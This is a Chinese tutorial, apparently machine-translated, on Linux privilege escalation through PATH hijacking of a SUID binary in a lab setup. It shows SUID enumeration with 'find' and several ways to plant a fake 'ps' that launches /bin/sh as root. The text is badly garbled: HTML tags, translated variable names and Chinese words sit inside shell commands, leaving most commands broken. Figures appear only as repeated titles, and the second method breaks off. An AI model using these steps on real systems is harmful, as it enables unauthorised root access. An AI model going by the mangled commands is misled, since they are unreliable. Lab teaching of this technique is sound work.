在Linux中怎么使用环境变量进行提权

  介绍

本篇内容介绍了“在Linux中怎么使用环境变量进行提权”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

介绍

路径是Linux和Unix类操作系统中的环境变量,它指定存储可执行程序的所有本和sbin目录。当用户在终端上执行任何命令时,它会通过路径变量来响应用户执行的命令,并向壳发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用回声命令显示当前道路环境变量:

 echo 美元路径

/usr/地方/bin:/usr/bin:/bin:/usr/地方/游戏:/usr/游戏

如果你在路径变量中看到<强>”。' 强,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

<强> Ubuntu实验室SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/脚本的新目录。在脚本目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

 pwd
  mkdir 脚本
  cd /脚本
  nano 演示。c 

在Linux中怎么使用环境变量进行提权

正如你在演示。c文件中看到的,我们正在调用ps命令。

在Linux中怎么使用环境变量进行提权

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

 ls
  gcc  demo.c  -o 壳
  chmod  u + s 壳
  ls  -la 壳牌

<强> 在Linux中怎么使用环境变量进行提权

<强>受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用找到命令,搜索具有SUID或4000权限的文件。

 find /, -perm  - u=s  -type  f  2在/dev/null 

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/脚本/壳具有SUID权限。

在Linux中怎么使用环境变量进行提权

进入到/home/raj/脚本目录,可以看到该目录下有一个可执行的“壳”文件,我们运行这个文件。

/home/raj/脚本
<强> 在Linux中怎么使用环境变量进行提权
<>强回声命令
 cd /tmp
  echo “/bin/sh”,在ps
  chmod  777 ps
  echo  $路径
  export 路径=/tmp: $路径
  cd /home/raj/脚本
  。/壳
  whoami 
<强> 在Linux中怎么使用环境变量进行提权
<强>复制命令
 cd //home/raj/脚本
  cp /bin/sh /tmp/ps
  echo  $路径
  export 路径=/tmp: $路径
  。/壳
  whoami 
<强> 在Linux中怎么使用环境变量进行提权
<强>符号链接命令
 ln  -s /bin/sh  ps
  export 路径=:美元的道路
  。/壳
  id
  whoami 

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中符号链接情况下,我们已经赋予了/脚本目录777的权限。

因此,攻击者可以操纵环境变量路径来进行提权,并获得根访问权限。

在Linux中怎么使用环境变量进行提权

方法2

<强> Ubuntu实验室SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

 pwd
  mkdir 脚本
  cd /脚本
  nano  demo.c 

正如你在演示。c文件中看到的,我们正在调用id命令。

在Linux中怎么使用环境变量进行提权

在Linux中怎么使用环境变量进行提权